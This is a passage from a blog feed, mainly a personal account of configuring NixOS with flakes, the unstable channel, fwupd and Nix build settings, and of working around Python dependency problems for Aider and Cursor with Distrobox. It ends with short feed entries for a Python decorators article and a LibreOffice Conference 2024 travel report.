<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">path</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">/nix/store/...source/flake.nix</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);"> does</span><span style="color: light-dark(#032F62, #96D0FF);"> not</span><span style="color: light-dark(#032F62, #96D0FF);"> exist</span></span></code></pre>
<p>Even if you’re using local paths and have no intention to push to <code>git</code>, you still need <code>git init</code> &amp;&amp; <code>git add</code> for flakes to work.
From whatever google-fu I did, it seems this requirement is to ensure that flakes can reliably reference the exact content in your configuration.
I am sure there might be good reasons for it (as I said before, I’ve skipped RTFMing altogether ^_^), but atleast the errors can be more verbose/helpful.</p>
<p>And why I skipped docs: Remember, we’re on a mission to get things up and running with Nix and then <em>later</em> spend time about reading their internals if it actually proves to be a valuable experiment.</p>
<h2 id="switching-channels">Switching Channels<a class="zola-anchor" href="#switching-channels" aria-label="Anchor link for: switching-channels">#</a></h2>
<p>While installing packages, I noticed some packages were quite outdated. That’s when I learned about NixOS channels. Think of channels as analogous to LTS releases. For faster updates, you can switch to the <code>unstable</code> channel. Although the name sounds intimidating, it simply means you’ll receive more frequent package updates.</p>
<p>To do this, you can edit your <code>flake.nix</code> and switch the URL to an unstable channel:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  inputs</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    -</span><span style="color: light-dark(#032F62, #96D0FF);"> nixpkgs.url</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">github:NixOS/nixpkgs/nixos-24.11</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> Stable channel</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    +</span><span style="color: light-dark(#032F62, #96D0FF);"> nixpkgs.url</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">github:NixOS/nixpkgs/nixos-unstable</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> Unstable channel</span></span>
<span class="giallo-l"><span>  }</span><span>;</span></span></code></pre><h2 id="firmware-updates">Firmware Updates<a class="zola-anchor" href="#firmware-updates" aria-label="Anchor link for: firmware-updates">#</a></h2>
<p>After setting up packages, it was time to configure firmware updates using <code>fwupd—essential</code> for keeping your hardware up to date.</p>
<p>I asked Claude to help me for a quick setup. Here’s what I did:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="nix"><span class="giallo-l"><span>{</span><span> config</span><span style="color: light-dark(#D73A49, #F47067);">,</span><span> pkgs</span><span style="color: light-dark(#D73A49, #F47067);">,</span><span style="color: light-dark(#D73A49, #F47067);"> ...</span><span> }</span><span>:</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>{</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">  services</span><span>.</span><span style="color: light-dark(#6F42C1, #6CB6FF);">fwupd</span><span>.</span><span style="color: light-dark(#6F42C1, #6CB6FF);">enable</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span><span>;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Then run a rebuild:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> nixos-rebuild</span><span style="color: light-dark(#032F62, #96D0FF);"> switch</span></span></code></pre>
<p>Once enabled, you can use the <code>fwupdmgr</code> command-line tool to manage firmware updates:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Refresh metadata and check for available updates</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">fwupdmgr</span><span style="color: light-dark(#032F62, #96D0FF);"> refresh</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">fwupdmgr</span><span style="color: light-dark(#032F62, #96D0FF);"> get-updates</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Install available firmware updates</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">fwupdmgr</span><span style="color: light-dark(#032F62, #96D0FF);"> update</span></span></code></pre><h2 id="fine-tuning">Fine Tuning<a class="zola-anchor" href="#fine-tuning" aria-label="Anchor link for: fine-tuning">#</a></h2>
<p>I also tweaked some settings for the Nix package manager to optimize builds, caching, and overall performance. Here’s a snippet from my configuration:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">  #</span><span style="color: light-dark(#6A737D, #768390);"> Nix package manager optimizations</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  nix</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    settings</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">      #</span><span style="color: light-dark(#6A737D, #768390);"> Optimize store to remove duplicate files</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      auto-optimise-store</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">      #</span><span style="color: light-dark(#6A737D, #768390);"> Allow building multiple derivations in parallel</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      max-jobs</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">auto</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">      #</span><span style="color: light-dark(#6A737D, #768390);"> Number of parallel build tasks per job</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      cores</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>;</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> 0 means use all available cores</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">      #</span><span style="color: light-dark(#6A737D, #768390);"> Use the binary cache aggressively</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      substituters</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">        &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">&lt;https://cache.nixos.org&gt;</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">        &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">&lt;https://nix-community.cachix.org&gt;</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">        &quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">&lt;https://nixpkgs-wayland.cachix.org&gt;</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span></span>
<span class="giallo-l"><span>      ]</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">      #</span><span style="color: light-dark(#6A737D, #768390);"> Optimize fetching from GitHub</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      connect-timeout</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 5</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">      #</span><span style="color: light-dark(#6A737D, #768390);"> Prevent unneeded rebuilds</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      commit-lockfile-summary</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Update flake.lock</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"><span>    }</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Garbage collection settings</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    gc</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      automatic</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      dates</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">weekly</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      options</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">--delete-older-than 30d</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"><span>    }</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Optimize builds using different build cores</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    buildCores</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 0</span><span>;</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> 0 means use all available cores</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    #</span><span style="color: light-dark(#6A737D, #768390);"> Enable flakes and modern Nix command features</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    extraOptions</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      experimental-features</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> nix-command</span><span style="color: light-dark(#032F62, #96D0FF);"> flakes</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      warn-dirty</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      keep-going</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">      log-lines</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 20</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    &#39;</span><span style="color: light-dark(#6F42C1, #F69D50);">&#39;</span><span>;</span></span>
<span class="giallo-l"><span>  }</span><span>;</span></span></code></pre><h2 id="escape-hatches">Escape Hatches<a class="zola-anchor" href="#escape-hatches" aria-label="Anchor link for: escape-hatches">#</a></h2>
<p>So far things seems all rosy. Within just spending a couple of minutes - I had a perfectly working machine for myself - and the best part - all reproducible with a single command. I was starting to see why people who use NixOS preach about it so much.</p>
<p>However, not everything is smooth when you deviate from the happy path. For instance, I use <a href="https://mrkaran.dev/posts/using-llm/">Aider</a> for LLM assisted programming, but the version on Nixpkgs was about <a rel="external" href="https://github.com/NixOS/nixpkgs/blob/nixos-unstable/pkgs/development/python-modules/aider-chat/default.nix#L16">three minor versions</a> behind. Typically for any other software, I wouldn’t have cared so much - however with these LLM tools, a lot changes rapidly and I didn’t want to stay behind. Besides, it seemed like a fun exercise in getting my hands dirty by installing a Python package on NixOS which turned out to be quite tricky because Nix is absurdly obsessive about fully isolated builds.</p>
<p>Here’s an example flake that I used for attempting to install Aider with <code>uv</code>  in a dev shell (which didn’t work btw):</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="nix"><span class="giallo-l"><span>{</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">  description</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Aider development environment</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">  inputs</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">    nixpkgs</span><span>.</span><span style="color: light-dark(#6F42C1, #6CB6FF);">url</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">github:NixOS/nixpkgs/nixos-unstable</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">    flake-utils</span><span>.</span><span style="color: light-dark(#6F42C1, #6CB6FF);">url</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">github:numtide/flake-utils</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>;</span></span>
<span class="giallo-l"><span>  }</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">  outputs</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span><span> self</span><span style="color: light-dark(#D73A49, #F47067);">,</span><span> nixpkgs</span><span style="color: light-dark(#D73A49, #F47067);">,</span><span> flake-utils</span><span> }</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">    flake-utils</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span style="color: light-dark(#E36209, #F69D50);">lib</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span style="color: light-dark(#E36209, #F69D50);">eachDefaultSystem</span><span> (</span><span>system</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">      let</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">        pkgs</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#E36209, #F69D50);"> nixpkgs</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span style="color: light-dark(#E36209, #F69D50);">legacyPackages</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span style="color: light-dark(#24292E, #F47067);">${</span><span style="color: light-dark(#E36209, #F69D50);">system</span><span style="color: light-dark(#24292E, #F47067);">}</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">      in</span></span>
<span class="giallo-l"><span>      {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">        devShell</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#E36209, #F69D50);"> pkgs</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span style="color: light-dark(#E36209, #F69D50);">mkShell</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">          buildInputs</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> with</span><span style="color: light-dark(#E36209, #F69D50);"> pkgs</span><span>;</span><span> [</span></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">            python312</span></span>
<span class="giallo-l"><span style="color: light-dark(#E36209, #F69D50);">            uv</span></span>
<span class="giallo-l"><span>          ]</span><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #6CB6FF);">          shellHook</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">            export PATH=&quot;$HOME/.local/bin:$PATH&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">          &#39;&#39;</span><span>;</span></span>
<span class="giallo-l"><span>        }</span><span>;</span></span>
<span class="giallo-l"><span>      }</span></span>
<span class="giallo-l"><span>    )</span><span>;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Entering the dev shell with <code>nix develop</code> and installing Aider with <code>uv</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">uv</span><span style="color: light-dark(#032F62, #96D0FF);"> tool</span><span style="color: light-dark(#032F62, #96D0FF);"> install</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-force</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-python</span><span style="color: light-dark(#032F62, #96D0FF);"> python3.12</span><span style="color: light-dark(#032F62, #96D0FF);"> aider-chat@latest</span></span></code></pre>
<p>However, I ran into this error:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">/home/karan/.local/share/uv/tools/aider-chat/lib/python3.12/site-packages/litellm/litellm_core_uti</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">ls/llm_cost_calc/utils.py</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,</span><span style="color: light-dark(#032F62, #96D0FF);"> line</span><span style="color: light-dark(#032F62, #96D0FF);"> 9,</span><span style="color: light-dark(#032F62, #96D0FF);"> in</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">modul</span><span>e</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    from</span><span style="color: light-dark(#032F62, #96D0FF);"> litellm.utils</span><span style="color: light-dark(#032F62, #96D0FF);"> import</span><span style="color: light-dark(#032F62, #96D0FF);"> get_model_info</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  File</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">/home/karan/.local/share/uv/tools/aider-chat/lib/python3.12/site-packages/litellm/utils.py</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,</span><span style="color: light-dark(#032F62, #96D0FF);"> line</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">53,</span><span style="color: light-dark(#032F62, #96D0FF);"> in</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">modul</span><span>e</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    from</span><span style="color: light-dark(#032F62, #96D0FF);"> tokenizers</span><span style="color: light-dark(#032F62, #96D0FF);"> import</span><span style="color: light-dark(#032F62, #96D0FF);"> Tokenizer</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  File</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">/home/karan/.local/share/uv/tools/aider-chat/lib/python3.12/site-packages/tokenizers/__init__.py</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">line</span><span style="color: light-dark(#032F62, #96D0FF);"> 78,</span><span style="color: light-dark(#032F62, #96D0FF);"> in</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">modul</span><span>e</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">    from</span><span style="color: light-dark(#032F62, #96D0FF);"> .tokenizers</span><span style="color: light-dark(#032F62, #96D0FF);"> import</span><span> (</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">ImportError:</span><span style="color: light-dark(#032F62, #96D0FF);"> libstdc++.so.6:</span><span style="color: light-dark(#032F62, #96D0FF);"> cannot</span><span style="color: light-dark(#032F62, #96D0FF);"> open</span><span style="color: light-dark(#032F62, #96D0FF);"> shared</span><span style="color: light-dark(#032F62, #96D0FF);"> object</span><span style="color: light-dark(#032F62, #96D0FF);"> file:</span><span style="color: light-dark(#032F62, #96D0FF);"> No</span><span style="color: light-dark(#032F62, #96D0FF);"> such</span><span style="color: light-dark(#032F62, #96D0FF);"> file</span><span style="color: light-dark(#032F62, #96D0FF);"> or</span><span style="color: light-dark(#032F62, #96D0FF);"> directory</span></span></code></pre>
<p>The error indicated that Aider was missing a required dependency <code>libstdc++.so.6</code> which is a part of the C++ standard library needed by the tokenizers package. To fix this, I added <code>stdenv.cc.cc.lib</code> (and even <code>gcc</code> to be on the safer side) to my <code>buildInputs</code>. This is because while <code>uv</code> installs Python packages, it doesn’t handle system-level dependencies. In a Nix environment, every dependency, including system libraries, must be explicitly specified.</p>
<p>Frankly, Python’s packaging ecosystem is still a mess. Although tools like <code>uv</code> help, achieving a completely isolated build, especially when shared libraries are involved is challenging. I wish the Python community would put more effort into resolving these issues.</p>
<p>While I was able to make <code>aider</code> work by explicitly adding all the dependencies, I faced another outdate package: <code>code-cursor</code>. Since this is a full blown electron app, I didn’t wish to package this myself.</p>
<p>After some frustration, I tried using <a rel="external" href="https://distrobox.it/">Distrobox</a> as recommended by a <a rel="external" href="https://blog.trieoflogs.com/">colleague</a>. Distrobox lets you run containers that feel almost like a native OS by managing user IDs, host mounts, network interfaces, and more. I used an Arch Linux image, installed <code>cursor-bin</code> from the AUR, and everything worked fine. Well mostly:</p>
<ul>
<li>Fonts were missing. So, if I want to use custom fonts in my IDE - I need to have them installed in the container as well.</li>
<li>Since my <code>fish</code> shell config had <code>export EDITOR=nvim</code>, I had to install <code>neovim</code> in the container as well, otherwise, I’d get an error when trying to <code>git commit</code> etc. There’s an option to customise the <a rel="external" href="https://distrobox.it/useful_tips/#use-a-different-shell-than-the-host">shell</a> in distrobox, but for whatever reason (that I didn’t want to debug), it didn’t work for me.</li>
</ul>
<p>Yet, something still felt off. The whole point of using NixOS is to achieve a fully declarative and reproducible setup. Resorting to an escape hatch like Distrobox undermines that goal. So I was very conflicted about this. I’m sure there’s a better way to handle these situations, and I should probably read the docs to find out.</p>
<h2 id="final-thoughts">Final Thoughts<a class="zola-anchor" href="#final-thoughts" aria-label="Anchor link for: final-thoughts">#</a></h2>
<p>I’m definitely sold on running NixOS, especially when managing multiple systems. With a single declarative file (<code>configuration.nix</code>), duplicating your setup across machines becomes effortless. No more “documenting” (or rather <em>forgetting</em> to document and keeping it updated)- as the config is the single source of truth.</p>
<p>Fun fact: I even messed up my NixOS build by misconfiguring the <code>hardware-configuration.nix</code>, and my system became unusable even after a reboot, it couldn’t mount the filesystem on the correct device. In other distros, that would have sent me into panic mode, but with NixOS, all I had to do was revert to the previous working state, and everything was fine. That was so cool!</p>
<p>I’m definitely considering moving my homelab to NixOS in the coming few days because I honestly see the value for a server setup. I often set up my personal server and then forget everything I’ve done and I’m always scared of touching or creating a new server from scratch. I even created a <a rel="external" href="https://github.com/mr-karan/junbi">small shell script installer</a> to help me for getting a base system ready. But like this shell script or even tools such as Ansible - they are all idempotent in nature. However in Nix, if I remove a certain piece from the configuration, there isn’t a trace of it left on the system. That makes it truly declarative and reproducible - unlike Ansible where you can still have some parts of the old setup.</p>
<p>However, for my primary machine at work, I’ll wait on the sidelines until the packages I depend on resolve their dependency issues and I get a chance to read up more on the escape hatches I tried to see if there’s a more streamlined way of doing things. I might be missing a lot of fundamental details since I skipped the docs entirely to get my hands dirty. But now that I see the value of a declarative system and especially how easy it is to roll back the machine to a previously known good state, I’m motivated to read up more on this and might post an update to this blog.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Mastering Python Decorators: A Practical Guide]]></title>
            <link>https://workdone0.substack.com/p/python_decorator</link>
            <guid isPermaLink="false">https://workdone0.substack.com/p/python_decorator</guid>
            <pubDate>Sat, 22 Mar 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Dive into decorators — learn how they wrap and enhance functionality with a timing example, best practices, and clear code you can use today.]]></description>
            <content:encoded><![CDATA[Dive into decorators &#8212; learn how they wrap and enhance functionality with a timing example, best practices, and clear code you can use today.]]></content:encoded>
            <author>Shubham Kumar</author>
        </item>
        <item>
            <title><![CDATA[Libreoffice Conference 2024 in Luxembourg]]></title>
            <link>https://ravidwivedi.in/posts/libreoffice-conference-2024/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/libreoffice-conference-2024/</guid>
            <pubDate>Fri, 14 Mar 2025 16:18:39 GMT</pubDate>
            <description><![CDATA[Last year, I attended the annual LibreOffice Conference in Luxembourg with the help of a generous travel grant by The Document Foundation (TDF). It was a three-day event from the 10th to the 12th of October 2024, with an additional day for community meetup on the 9th.
Luxembourg is a small country in Western Europe. It is insanely wealthy with high living standards. After going through an arduous visa process, I got to the country on the 8th of October. Upon arriving in Luxembourg, I took a bus to the city center, where my hotel — Park Inn — was located. I deboarded the bus at the Luxembourg Central station. Before walking towards my hotel, I stopped to click a few pictures of the beautiful station.
All the public transport in Luxembourg was free of cost. The experience of being in Luxembourg was as if I had stepped in another world. The roads had separate tracks for cycling and separate lanes for buses, along with wide footpaths. In addition, the streets were pretty neat and clean.

      
Luxembourg's Findel Airport. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.

      
Separate cycling tracks in Luxembourg. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.

      
A random road in Luxembourg with separate lane for buses. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
The conference venue was in Belval, while I stayed in the city center. Even though my stay was 20 km from the conference venue, the commute was convenient thanks to free of cost train connections. The train rides were comfortable, smooth, and scenic, covering the distance in half an hour. Moreover, I never found the trains to be very crowded, which enabled me to always get a seat.

      
This is what trains look like in Luxembourg. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.

      
The train ride from my hotel to the conference venue had some scenic views like this one on the way. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.

      
A tram in Luxembourg with Luxembourg Central station in the background. Photo by Ravi Dwivedi. Released under the CC-BY-SA 4.0.
